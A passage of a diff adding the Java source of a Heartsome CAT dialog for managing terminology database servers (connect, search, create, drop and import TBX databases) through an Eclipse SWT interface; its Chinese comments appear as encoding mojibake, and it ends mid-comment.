如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.dialog; + +import java.io.File; +import java.sql.SQLException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.bean.DatabaseManagerDbListBean; +import net.heartsome.cat.database.ui.core.DatabaseConfiger; +import net.heartsome.cat.database.ui.core.DbValidator; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.database.ui.tb.ImageConstants; +import net.heartsome.cat.database.ui.tb.resource.Messages; +import net.heartsome.cat.database.ui.tb.wizard.TbxImportWizard; +import net.heartsome.cat.database.ui.tb.wizard.TermDbManagerImportWizardDialog; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.observable.list.WritableList; +import org.eclipse.core.databinding.observable.value.IObservableValue; +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.databinding.swt.WidgetProperties; +import org.eclipse.jface.databinding.viewers.ViewerSupport; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IInputValidator; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MenuDetectEvent; +import org.eclipse.swt.events.MenuDetectListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.ShellAdapter; +import org.eclipse.swt.events.ShellEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.Sash; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TermDbManagerDialog extends TrayDialog { + // The last known tree width + private static int lastTreeWidth = 180; + + private Point lastShellSize; + + /** The tree viewer. */ + private TreeViewer treeViewer; + + private Text hostText; + private Text usernameText; + private Text passwordText; + private Text instanceText; + private Text portText; + private Button searchBtn; + + private TableViewer dbTableViewer; + + private static String currDbType; + private static String lastSelectedServerId; + + /** + * 和界é¢ç›¸å…³çš„输入模型,与界é¢è¾“入组件进行绑定.与会与选择具体的é…ç½®è¿›è¡Œå…³è” + */ + private DatabaseModelBean currServer; + + private Map> treeInputMap; + private DatabaseConfiger configer; + + private Map dbMetaDataMap; + private Text locationText; + private Button borwserBtn; + private List currServerdbList; + private WritableList currServerdbListInput; + + private Image internalDbImg = Activator.getImageDescriptor(ImageConstants.INTERNALDB).createImage(); + private Image mySqlImg = Activator.getImageDescriptor(ImageConstants.MYSQL).createImage(); + private Image oracleImg = Activator.getImageDescriptor(ImageConstants.ORACLE).createImage(); + private Image sqlServerImg = Activator.getImageDescriptor(ImageConstants.SQLSERVER).createImage(); + private Image postgreImg = Activator.getImageDescriptor(ImageConstants.POSTGRESQL).createImage(); + private Image ipImg = Activator.getImageDescriptor(ImageConstants.IP).createImage(); + private Image sqliteImg = Activator.getImageDescriptor(ImageConstants.SQLITE).createImage(); + + /** + * tree pop menu + * @see #initTreePopMenu() + */ + private Menu treePopMenu; + + private Logger logger = LoggerFactory.getLogger(TermDbManagerDialog.class); + + private List needUpdateToFile = new ArrayList(); + + /** + * Create the dialog. + * @param parentShell + */ + public TermDbManagerDialog(Shell parentShell) { + super(parentShell); + this.currServer = new DatabaseModelBean(); + this.currServerdbList = new ArrayList(); + + this.configer = new DatabaseConfiger(); + this.treeInputMap = configer.getAllServerConfig(); + this.dbMetaDataMap = DatabaseService.getSystemSuportDbMetaData(); + + List dbTypeList = DatabaseService.getSystemSuportDbType(); + for (int i = 0; i < dbTypeList.size(); i++) { + String type = dbTypeList.get(i); + if (treeInputMap.containsKey(type)) { + continue; + } else { + treeInputMap.put(type, new ArrayList()); + } + } + treeInputMap.remove(Constants.DBTYPE_SQLITE); + setHelpAvailable(true); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TermDbManagerDialog.title")); + newShell.addShellListener(new ShellAdapter() { + public void shellActivated(ShellEvent e) { + if (lastShellSize == null) { + lastShellSize = getShell().getSize(); + } + } + }); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createContents(final Composite parent) { + Control control = super.createContents(parent); + selectSaveItem(); + return control; + } + + /** + * 添加帮助按钮 robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP æœ¯è¯­åº“ç®¡ç† + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch06s04.html#tb-management", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + /** + * 选择当å‰é€‰ä¸­çš„内容 ; + */ + private void selectSaveItem() { + if (getCurrDbType() != null) { + boolean expanded = getTreeViewer().getExpandedState(getCurrDbType()); + if (!expanded) { + getTreeViewer().setExpandedState(getCurrDbType(), !expanded); + } + DatabaseModelBean lastSelectItem = findServerBean(getCurrDbType(), getLastSelectedServer()); + if (lastSelectItem != null) { + getTreeViewer().setSelection(new StructuredSelection(lastSelectItem), true); + getTreeViewer().getControl().setFocus(); + } else { + getTreeViewer().setSelection(new StructuredSelection(getCurrDbType()), true); + getTreeViewer().getControl().setFocus(); + } + } + } + + /** + * 查找上次的选中的项 + * @param dbType + * æ•°æ®åº“类型 + * @param id + * æœåŠ¡å™¨ID + * @return ; + */ + private DatabaseModelBean findServerBean(String dbType, String id) { + List list = treeInputMap.get(dbType); + if (list == null) { + return null; + } + for (int i = 0; i < list.size(); i++) { + if (list.get(i).getId().equals(id)) { + return list.get(i); + } + } + return null; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + final Composite composite = (Composite) super.createDialogArea(parent); + GridLayout parentLayout = ((GridLayout) composite.getLayout()); + parentLayout.numColumns = 4; + parentLayout.marginHeight = 0; + parentLayout.marginWidth = 0; + parentLayout.marginTop = 0; + parentLayout.verticalSpacing = 0; + parentLayout.horizontalSpacing = 0; + + Control treeControl = createTreeAreaContents(composite); + createSash(composite, treeControl); + + Label versep = new Label(composite, SWT.SEPARATOR | SWT.VERTICAL); + GridData verGd = new GridData(GridData.FILL_VERTICAL | GridData.GRAB_VERTICAL); + + versep.setLayoutData(verGd); + versep.setLayoutData(new GridData(SWT.LEFT, SWT.FILL, false, true)); + + Composite pageAreaComposite = new Composite(composite, SWT.NONE); + pageAreaComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + GridLayout layout = new GridLayout(1, true); + layout.marginHeight = 0; + layout.marginWidth = 0; + layout.verticalSpacing = 0; + pageAreaComposite.setLayout(layout); + + // Build the Page container + Composite pageContainer = createPageContainer(pageAreaComposite); + GridData pageContainerData = new GridData(GridData.FILL_BOTH); + pageContainerData.horizontalIndent = IDialogConstants.HORIZONTAL_MARGIN; + pageContainer.setLayoutData(pageContainerData); + // Build the separator line + Label bottomSeparator = new Label(parent, SWT.HORIZONTAL | SWT.SEPARATOR); + bottomSeparator.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + return composite; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + if (dialogType == TYPE_DBMANAGE) { + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CLOSE_LABEL, false); + } else { + super.createButtonsForButtonBar(parent); + } + + getShell().setDefaultButton(searchBtn); + initDataBindings(); + } + + private int dialogType = 0; // default is DatabaseManager + public static final int TYPE_DBMANAGE = 0; + public static final int TYPE_DBSELECTED = 1; + + /** + * 设置对è¯æ¡†çš„用处,决定了生æˆçš„按钮 + * @param type + * ; + */ + public void setDialogUseFor(int type) { + this.dialogType = type; + } + + public int getDialogUseFor() { + return this.dialogType; + } + + /** + * 创建å³ä¾§é¡µé¢å†…容 + * @param parent + * 页é¢å®¹å™¨ + * @return ; + */ + protected Composite createPageContainer(Composite parent) { + + Composite outer = new Composite(parent, SWT.NONE); + + GridData outerData = new GridData(GridData.FILL_BOTH | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL); + outerData.horizontalIndent = IDialogConstants.HORIZONTAL_MARGIN; + + outer.setLayout(new GridLayout()); + outer.setLayoutData(outerData); + + // Create an outer composite for spacing + ScrolledComposite scrolled = new ScrolledComposite(outer, SWT.V_SCROLL | SWT.H_SCROLL); + + // always show the focus control + scrolled.setShowFocusedControl(true); + scrolled.setExpandHorizontal(true); + scrolled.setExpandVertical(true); + + scrolled.setLayoutData(new GridData(GridData.FILL_BOTH | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL)); + GridLayout gld = new GridLayout(1, false); + gld.marginWidth = 0; + gld.marginHeight = 0; + scrolled.setLayout(gld); + + Composite result = new Composite(scrolled, SWT.NONE); + + GridData resultData = new GridData(GridData.FILL_BOTH | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL); + result.setLayoutData(resultData); + GridLayout gl_result = new GridLayout(1, false); + gl_result.marginWidth = 0; + gl_result.marginHeight = 0; + result.setLayout(gl_result); + + Group parameterGroup = new Group(result, SWT.NONE); + parameterGroup.setText(Messages.getString("dialog.TermDbManagerDialog.parameterGroup")); + GridLayout parameterLayout = new GridLayout(4, false); + parameterGroup.setLayout(parameterLayout); + + GridData parameterGridData = new GridData(GridData.FILL_HORIZONTAL); + parameterGroup.setLayoutData(parameterGridData); + + Label label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TermDbManagerDialog.lblHost")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + hostText = new Text(parameterGroup, SWT.BORDER); + hostText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TermDbManagerDialog.lblPort")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + portText = new Text(parameterGroup, SWT.BORDER); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TermDbManagerDialog.lblInstance")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + instanceText = new Text(parameterGroup, SWT.BORDER); + instanceText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + new Label(parameterGroup, SWT.NONE); + new Label(parameterGroup, SWT.NONE); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TermDbManagerDialog.lblLocation")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + locationText = new Text(parameterGroup, SWT.BORDER); + locationText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + borwserBtn = new Button(parameterGroup, SWT.NONE); + borwserBtn.setLayoutData(new GridData(SWT.LEFT, SWT.CENTER, true, false, 2, 1)); + borwserBtn.setText(Messages.getString("dialog.TermDbManagerDialog.borwserBtn")); + borwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + DirectoryDialog dlg = new DirectoryDialog(getShell()); + String path = dlg.open(); + if (path != null) { + locationText.setText(path); + } + } + }); + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TermDbManagerDialog.lblUsername")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + usernameText = new Text(parameterGroup, SWT.BORDER); + usernameText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TermDbManagerDialog.lblPwd")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + passwordText = new Text(parameterGroup, SWT.BORDER | SWT.PASSWORD); + passwordText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Composite btnComposite = new Composite(parameterGroup, SWT.NONE); + btnComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 4, 1)); + GridLayout btnCompositeLayout = new GridLayout(1, false); + btnCompositeLayout.marginHeight = 0; + btnCompositeLayout.marginWidth = 0; + btnComposite.setLayout(btnCompositeLayout); + + // remenmberBtn = new Button(btnComposite, SWT.CHECK|SWT.BORDER); + // remenmberBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + // remenmberBtn.setText("将本次连接信æ¯æ·»åŠ åˆ°æ•°æ®åº“类型的快æ·è¿žæŽ¥æ–¹å¼(&R)"); + // remenmberBtn.setSelection(true); + + searchBtn = new Button(btnComposite, SWT.NONE); + searchBtn.setText(Messages.getString("dialog.TermDbManagerDialog.searchBtn")); + searchBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + // 输入åˆæ³•æ€§æ£€æŸ¥ + IStatus status = validator(); + if (status.getSeverity() != IStatus.OK) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TermDbManagerDialog.msgTitle"), status.getMessage()); + return; + } + + SystemDBOperator sysDbOp = getCurrSysDbOp(); + if (sysDbOp == null) { + return; + } + // 连接检查 + if (!sysDbOp.checkDbConnection()) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TermDbManagerDialog.msgTitle"), + Messages.getString("dialog.TermDbManagerDialog.msg1")); + return; + } + + // if (remenmberBtn.getSelection() == true) { + // 当å‰æ•°æ®åº“类型下的所有æœåŠ¡å™¨ + List currDbTypeServers = treeInputMap.get(getCurrDbType()); + if (currServer.getId().equals("")) { + addServerWithExistCheck(currServer, currDbTypeServers); + getTreeViewer().refresh(); + selectSaveItem(); // 在树上选择当å‰æ“作的节点 + } + + // ISelection selection = getTreeViewer().getSelection(); + // if (selection.isEmpty()) { + // return; + // } + // } else { // ä¸è®°ä½ä¿¡æ¯ + executeSearch(sysDbOp); + // } + } + }); + } + }); + + Group tableComposite = new Group(result, SWT.NONE); + tableComposite.setText(Messages.getString("dialog.TermDbManagerDialog.tableComposite")); + tableComposite.setLayout(new GridLayout(1, false)); + tableComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + dbTableViewer = new TableViewer(tableComposite, SWT.BORDER | SWT.FULL_SELECTION | SWT.SINGLE | SWT.H_SCROLL + | SWT.V_SCROLL); + + Table table = dbTableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + GridData tableGd = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + tableGd.heightHint = 180; + table.setLayoutData(tableGd); + + createColumn(dbTableViewer); + if (getDialogUseFor() == TYPE_DBSELECTED) { + dbTableViewer.addDoubleClickListener(new IDoubleClickListener() { + + public void doubleClick(DoubleClickEvent event) { + okPressed(); + } + }); + } + + dbTableViewer.setContentProvider(new ArrayContentProvider()); + currServerdbListInput = new WritableList(currServerdbList, DatabaseManagerDbListBean.class); + dbTableViewer.setInput(currServerdbListInput); + + Composite composite = new Composite(tableComposite, SWT.NONE); + GridLayout gl_composite = new GridLayout(3, false); + gl_composite.marginHeight = 0; + gl_composite.marginWidth = 0; + composite.setLayout(gl_composite); + composite.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + + Button btnc = new Button(composite, SWT.NONE); + btnc.setText(Messages.getString("dialog.TermDbManagerDialog.btnc")); + btnc.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + createNewDatabase(); + } + }); + + Button btnd_1 = new Button(composite, SWT.NONE); + btnd_1.setText(Messages.getString("dialog.TermDbManagerDialog.btnd_1")); + btnd_1.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + ISelection selection = getDbTableViewer().getSelection(); + if (selection.isEmpty()) { + return; + } + if (MessageDialog.openConfirm(getShell(), + Messages.getString("dialog.TermDbManagerDialog.msgTitle"), + Messages.getString("dialog.TermDbManagerDialog.msg2"))) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + List needDeletes = structuredSelection.toList(); + SystemDBOperator dbop = getCurrSysDbOp(); + for (int i = 0; i < needDeletes.size(); i++) { + try { + String dbName = needDeletes.get(i).getDbName(); + dbop.dropDb(dbName); + dbop.removeSysDb(dbName); + } catch (Exception e1) { + logger.error(Messages.getString("dialog.TermDbManagerDialog.logger1"), e1); + MessageDialog.openError(getShell(), + Messages.getString("dialog.TermDbManagerDialog.msgTitle"), + Messages.getString("dialog.TermDbManagerDialog.msg3") + e1.getMessage()); + break; + } + currServerdbListInput.remove(needDeletes.get(i)); + } + } + } + }); + } + }); + + Button importBtn = new Button(composite, SWT.NONE); + importBtn.setText(Messages.getString("dialog.TermDbManagerDialog.importBtn")); + importBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + + ISelection selection = getDbTableViewer().getSelection(); + if (selection.isEmpty()) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TermDbManagerDialog.msgTitle"), + Messages.getString("dialog.TermDbManagerDialog.msg4")); + return; + } + IStructuredSelection stcSel = (IStructuredSelection) selection; + DatabaseManagerDbListBean dbBean = (DatabaseManagerDbListBean) stcSel.getFirstElement(); + DatabaseModelBean dbModelBean = new DatabaseModelBean(); + currServer.copyToOtherIntance(dbModelBean); + dbModelBean.setDbName(dbBean.getDbName()); + + TbxImportWizard wizard = new TbxImportWizard(dbModelBean); + TermDbManagerImportWizardDialog dlg = new TermDbManagerImportWizardDialog(getShell(), wizard); + if (dlg.open() == 0) { + executeSearch(getCurrSysDbOp()); // é‡æ–°åŠ è½½å†…容 + } + } + }); + + Point searchPoint = searchBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point createPoint = btnc.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point remPoint = btnd_1.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point importPoint = importBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + int width = Math.max(importPoint.x, Math.max(remPoint.x, Math.max(searchPoint.x, createPoint.x))); + GridData btnData = new GridData(); + btnData.widthHint = width + 10; + btnc.setLayoutData(btnData); + btnd_1.setLayoutData(btnData); + importBtn.setLayoutData(btnData); + searchBtn.getLayoutData(); + GridData searchData = new GridData(SWT.RIGHT, SWT.CENTER, true, true, 4, 1); + searchData.widthHint = width + 10; + searchBtn.setLayoutData(searchData); + + scrolled.setContent(result); + scrolled.setMinSize(getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT)); + return result; + } + + /** + * 创建左侧树 + * @param parent + * the SWT parent for the tree area controls. + * @return the new Control. + */ + protected Control createTreeAreaContents(Composite parent) { + // Build the tree an put it into the composite. + treeViewer = createTreeViewer(parent); + treeViewer.setInput(treeInputMap); + updateTreeFont(JFaceResources.getDialogFont()); + layoutTreeAreaControl(treeViewer.getControl()); + initTreePopMenu(); + return treeViewer.getControl(); + } + + /** + * åˆå§‹åŒ–æ ‘å³é”®èœå• ; + */ + private void initTreePopMenu() { + MenuManager menuManager = new MenuManager(""); + menuManager.add(new Action(Messages.getString("dialog.TermDbManagerDialog.deleteAction")) { + @Override + public void run() { + ISelection selection = getTreeViewer().getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + if (obj instanceof DatabaseModelBean) { + List currDbTypeServers = treeInputMap.get(currDbType); + configer.deleteServerById(((DatabaseModelBean) obj).getId()); + int i = currDbTypeServers.indexOf(obj); + currDbTypeServers.remove(i); + getTreeViewer().refresh(); + // selectSaveItem(); + // setLastSelectedServer(null); + + if (currDbTypeServers.size() != 0) { + if (i > currDbTypeServers.size() - 1) { + setLastSelectedServer(currDbTypeServers.get(i - 1).getId()); + } else { + setLastSelectedServer(currDbTypeServers.get(i).getId()); + } + initUI(false); + } else { + setLastSelectedServer(null); + initUI(true); + } + selectSaveItem(); + + } + } + }); + Tree tree = treeViewer.getTree(); + this.treePopMenu = menuManager.createContextMenu(tree); + } + + /** + * @param control + * the Control to lay out. + */ + protected void layoutTreeAreaControl(Control control) { + GridData gd = new GridData(GridData.FILL_VERTICAL); + gd.widthHint = getLastRightWidth(); + gd.verticalSpan = 1; + control.setLayoutData(gd); + } + + /** + * Create a new TreeViewer. + * @param parent + * the parent Composite. + * @return the TreeViewer. + */ + protected TreeViewer createTreeViewer(Composite parent) { + final TreeViewer viewer = new TreeViewer(parent, SWT.NONE); + addListeners(viewer); + viewer.setLabelProvider(new TreeLableProvider()); + viewer.setContentProvider(new TreeContentProvider()); + return viewer; + } + + /** + * Add Selection Listener to tree viewer + * @param viewer + * ; + */ + private void addListeners(final TreeViewer viewer) { + // 选择事件 + viewer.addPostSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = event.getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + if (obj instanceof DatabaseModelBean) { + DatabaseModelBean bean = (DatabaseModelBean) obj; + setCurrDbType(bean.getDbType()); + bean.copyToOtherIntance(currServer); + SystemDBOperator dbop = getCurrSysDbOp(); + if (dbop != null) { + executeSearch(dbop); + } + initUI(false); // 当数æ®åº“类型å‘生改å˜æ—¶é‡æ–°åˆå§‹åŒ–ç•Œé¢ + + } else if (obj instanceof String) { + setCurrDbType((String) obj); + resetInputValue(); + currServerdbListInput.clear(); + initUI(true); + } + } + }); + // åŒå‡»å±•å¼€äº‹ä»¶ + ((Tree) viewer.getControl()).addSelectionListener(new SelectionAdapter() { + public void widgetDefaultSelected(final SelectionEvent event) { + ISelection selection = viewer.getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + if (obj instanceof String) { + String type = (String) obj; + boolean expanded = viewer.getExpandedState(type); + viewer.setExpandedState(type, !expanded); + } + } + }); + + // å³é”®èœå•äº‹ä»¶,判断何时出现å³é”®èœå• + viewer.getControl().addMenuDetectListener(new MenuDetectListener() { + public void menuDetected(MenuDetectEvent e) { + ISelection selection = viewer.getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + Tree tree = treeViewer.getTree(); + if (obj instanceof DatabaseModelBean) { + tree.setMenu(treePopMenu); // å°†èœå•æŒ‚到树上 + } else { + tree.setMenu(null); + } + } + }); + } + + /** + * 获å–当å‰æœåŠ¡å™¨æ“作对象 + * @return ; + */ + private SystemDBOperator getCurrSysDbOp() { + return DatabaseService.getSysDbOperateByMetaData(currServer.toDbMetaData()); + } + + /** + * Update the tree to use the specified Font. + * @param dialogFont + * the Font to use. + */ + protected void updateTreeFont(Font dialogFont) { + getTreeViewer().getControl().setFont(dialogFont); + } + + /** + * @return the TreeViewer for this dialog. + */ + public TreeViewer getTreeViewer() { + return treeViewer; + } + + /** + * @return The TableViewer for database list in dialog ; + */ + public TableViewer getDbTableViewer() { + return this.dbTableViewer; + } + + /** + * @return the need update to file server configure + */ + public List getNeedUpdateToFile() { + return this.needUpdateToFile; + } + + /** + * Create the sash with right control on the right. Note that this method assumes GridData for the layout data of + * the rightControl. + * @param composite + * @param rightControl + * @return Sash + */ + protected Sash createSash(final Composite composite, final Control rightControl) { + final Sash sash = new Sash(composite, SWT.VERTICAL); + sash.setLayoutData(new GridData(GridData.FILL_VERTICAL)); + sash.setBackground(composite.getDisplay().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + // the following listener resizes the tree control based on sash deltas. + // If necessary, it will also grow/shrink the dialog. + sash.addListener(SWT.Selection, new Listener() { + /* + * (non-Javadoc) + * + * @see org.eclipse.swt.widgets.Listener#handleEvent(org.eclipse.swt. widgets.Event) + */ + public void handleEvent(Event event) { + if (event.detail == SWT.DRAG) { + return; + } + int shift = event.x - sash.getBounds().x; + GridData data = (GridData) rightControl.getLayoutData(); + int newWidthHint = data.widthHint + shift; + if (newWidthHint < 20) { + return; + } + Point computedSize = getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + Point currentSize = getShell().getSize(); + // if the dialog wasn't of a custom size we know we can shrink + // it if necessary based on sash movement. + boolean customSize = !computedSize.equals(currentSize); + data.widthHint = newWidthHint; + setLastTreeWidth(newWidthHint); + composite.layout(true); + // recompute based on new widget size + computedSize = getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + // if the dialog was of a custom size then increase it only if + // necessary. + if (customSize) { + computedSize.x = Math.max(computedSize.x, currentSize.x); + } + computedSize.y = Math.max(computedSize.y, currentSize.y); + if (computedSize.equals(currentSize)) { + return; + } + setShellSize(computedSize.x, computedSize.y); + lastShellSize = getShell().getSize(); + } + }); + return sash; + } + + /** + * Get the last known right side width. + * @return the width. + */ + protected int getLastRightWidth() { + return lastTreeWidth; + } + + /** + * Save the last known tree width. + * @param width + * the width. + */ + private void setLastTreeWidth(int width) { + lastTreeWidth = width; + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + + /** + * Changes the shell size to the given size, ensuring that it is no larger than the display bounds. + * @param width + * the shell width + * @param height + * the shell height + */ + private void setShellSize(int width, int height) { + Rectangle preferred = getShell().getBounds(); + preferred.width = width; + preferred.height = height; + getShell().setBounds(getConstrainedShellBounds(preferred)); + } + + /** + * The TreeViewer label provider + * @author Jason + * @version + * @since JDK1.6 + */ + class TreeLableProvider extends LabelProvider { + /** + * 